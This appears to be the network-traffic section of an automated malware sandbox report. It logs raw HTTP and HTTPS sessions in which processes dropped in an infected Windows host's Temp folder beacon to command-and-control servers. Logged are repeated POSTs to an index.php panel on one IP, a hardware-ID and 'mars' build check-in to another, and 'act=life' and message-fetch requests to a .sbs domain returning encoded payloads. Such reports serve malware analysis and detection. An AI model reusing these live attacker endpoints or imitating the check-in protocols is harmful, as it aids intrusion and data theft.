Nov 24, 2024 12:26:19.670334101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50148	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:21.968986988 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 12:26:23.117469072 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50154	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:25.358560085 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 12:26:26.700114965 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50162	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:28.883332014 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 12:26:30.157572031 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50168	185.215.113.206	80	420	C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:31.486516953 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 12:26:32.898200989 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:26:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 12:26:33.156157017 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIII Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 30 45 31 33 38 36 42 33 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 2d 2d 0d 0a Data Ascii: ------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="hwid"3A0E1386B3713604296297------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="build"mars------GHIDGDHCGCBAKFHIIIII--
Nov 24, 2024 12:26:33.613914967 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:26:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50173	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:33.011413097 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 12:26:34.294671059 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50175	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:37.046890974 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 12:26:37.783154964 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50176	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:40.487673044 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 12:26:41.748430014 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50179	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:44.252707005 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 12:26:45.480995893 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50190	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:48.449312925 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 12:26:49.808168888 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50195	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:52.274558067 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 12:26:53.512120962 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50196	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:56.036149025 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 12:26:56.926069021 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:26:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50199	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:26:59.935302019 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 12:27:01.281976938 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:27:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50201	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:27:04.007550001 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 12:27:05.327328920 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:27:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50203	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:27:07.071034908 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 12:27:08.450747967 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:27:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	50206	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:27:10.356321096 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 12:27:11.717971087 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:27:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49864	104.21.33.116	443	7488	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:24:53 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-24 11:24:53 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-24 11:24:54 UTC	1009	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:24:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ke0oip9j39mgu68v7mfh635gtp; expires=Thu, 20-Mar-2025 05:11:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qaYkOG9PHlvnpjjxGU2qg6dF8rYkT1jvpibAMMmI67AcbVXqz4UIqdHRTsjqgiXHVquX9%2Bm4YbuQpunSvEUrV2zMqB0ecSb6JpQTX4frmOF84HDsxD7l2GKPpqv4w8TccgyAClk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7909044a6641b4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1662&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1780487&cwnd=214&unsent_bytes=0&cid=b8ecb55e279e9f36&ts=834&x=0"
2024-11-24 11:24:54 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-24 11:24:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49875	104.21.33.116	443	7488	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:24:59 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-24 11:24:59 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-24 11:24:59 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:24:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=96n3c3ro51ij8hmb3u80qho040; expires=Thu, 20-Mar-2025 05:11:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6rJ0w5%2BQ%2Fer9q4MRqcz5ZwGhSdAuyIMPHYgB81PQMDmYpeHtMxKqlHMniytynk9QVnG%2F5ZYr8r0uMhxo5uE21zLBrUW5ltaDBAe58RyhKR8V8Pioko3%2FBn8vapIit4fYIeW5hD4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7909268ea442ce-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1570&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1794714&cwnd=233&unsent_bytes=0&cid=2b9ea0112ab9623d&ts=707&x=0"
2024-11-24 11:24:59 UTC	354	IN	Data Raw: 31 64 38 35 0d 0a 74 45 4c 68 59 43 4c 79 36 34 75 6f 69 44 70 4e 55 68 43 74 4a 6a 55 30 68 37 2b 4d 6a 61 77 51 52 69 72 36 71 53 31 34 6c 62 44 50 59 4a 64 43 47 4d 62 48 71 64 76 74 47 48 63 6d 59 74 68 44 47 52 62 6d 32 36 36 33 79 6e 45 71 57 5a 2b 46 44 77 37 34 6b 6f 34 6b 67 41 78 52 6c 38 65 70 7a 66 41 59 64 77 6c 72 6a 30 4e 62 46 72 32 64 36 65 66 4f 63 53 70 49 6d 38 4a 43 43 50 6e 54 33 43 36 47 43 45 65 52 6a 2b 72 45 35 56 38 6f 4e 33 48 48 53 46 78 5a 37 39 4b 75 6f 59 35 31 50 41 6a 41 69 32 41 64 34 64 48 35 49 35 49 4c 41 49 2f 48 38 49 72 74 56 47 39 6f 4d 73 78 44 56 31 6a 68 32 2b 66 6c 78 48 67 69 53 5a 37 44 58 52 48 7a 32 4e 77 67 68 51 6c 4e 6d 4a 76 6e 7a 75 4a 55 4c 6a 31 78 6a 77 6f 58 55 66 32 64 74 71 2b 64 51 43 64 5a 69 Data Ascii: 1d85tELhYCLy64uoiDpNUhCtJjU0h7+MjawQRir6qS14lbDPYJdCGMbHqdvtGHcmYthDGRbm2663ynEqWZ+FDw74ko4kgAxRl8epzfAYdwlrj0NbFr2d6efOcSpIm8JCCPnT3C6GCEeRj+rE5V8oN3HHSFxZ79KuoY51PAjAi2Ad4dH5I5ILAI/H8IrtVG9oMsxDV1jh2+flxHgiSZ7DXRHz2NwghQlNmJvnzuJULj1xjwoXUf2dtq+dQCdZi
2024-11-24 11:24:59 UTC	1369	IN	Data Raw: 6e 59 6e 37 77 75 46 54 4b 69 4a 35 78 6b 6c 61 56 75 6a 58 34 65 7a 4f 64 53 35 43 6c 38 46 4c 46 2f 72 55 31 69 44 44 54 41 43 58 6b 61 6d 53 71 6e 73 71 49 48 58 44 55 68 56 73 70 63 4b 67 39 6f 35 31 4b 41 6a 41 69 30 63 66 39 4e 48 64 4c 34 41 4b 53 34 4b 4a 2b 38 7a 6e 58 54 30 32 64 38 46 4f 56 45 54 76 30 2b 6a 73 78 33 6b 74 54 5a 2f 50 44 31 53 33 31 63 35 67 32 30 4a 68 6e 59 4c 6c 77 50 31 59 62 79 38 38 31 67 52 51 57 71 57 46 72 75 76 50 64 69 56 4d 6c 73 56 4c 46 76 48 63 32 79 2b 46 43 45 43 58 67 2b 48 43 36 31 55 6b 50 33 4c 4b 53 56 4e 51 36 64 7a 72 72 34 41 79 49 31 44 59 6b 77 38 30 38 4e 48 45 59 72 59 42 54 70 36 4f 2f 34 72 31 46 6a 5a 77 64 63 4d 45 44 78 62 72 32 4f 48 39 7a 32 41 68 52 6f 72 48 53 68 7a 36 30 64 67 67 68 67 56 Data Ascii: nYn7wuFTKiJ5xklaVujX4ezOdS5Cl8FLF/rU1iDDTACXkamSqnsqIHXDUhVspcKg9o51KAjAi0cf9NHdL4AKS4KJ+8znXT02d8FOVETv0+jsx3ktTZ/PD1S31c5g20JhnYLlwP1Yby881gRQWqWFruvPdiVMlsVLFvHc2y+FCECXg+HC61UkP3LKSVNQ6dzrr4AyI1DYkw808NHEYrYBTp6O/4r1FjZwdcMEDxbr2OH9z2AhRorHShz60dgghgV
2024-11-24 11:24:59 UTC	1369	IN	Data Raw: 34 72 31 46 6a 5a 77 64 63 4d 45 44 78 62 70 31 4f 37 6b 78 48 59 6b 54 35 58 4f 54 42 33 30 33 39 45 71 6a 51 56 45 6e 49 44 6b 7a 4f 70 66 4b 7a 56 67 79 6b 31 62 57 71 57 54 72 75 6a 57 4d 6e 77 49 74 38 78 5a 47 64 6a 52 78 79 6e 44 48 51 36 4a 79 65 37 47 71 67 42 76 4e 33 66 48 54 31 46 65 35 63 2f 72 34 63 56 7a 4c 6b 36 5a 78 6b 4d 63 39 39 50 57 4a 6f 38 43 52 35 65 62 2b 38 2f 73 53 69 56 77 50 49 39 44 54 78 61 39 6e 64 6a 2f 32 57 4d 79 43 71 33 49 51 52 54 77 78 4a 59 2f 7a 52 73 41 6c 34 57 70 6b 71 70 54 4c 7a 78 31 78 30 4a 54 58 75 72 53 35 2f 33 50 66 69 70 61 6e 38 74 47 46 50 6a 65 33 79 32 45 44 30 75 61 68 4f 33 4e 36 78 68 68 63 48 58 58 42 41 38 57 30 38 33 6a 34 2b 42 35 4b 45 48 59 31 41 45 44 74 39 58 61 59 4e 74 43 52 4a 79 42 Data Ascii: 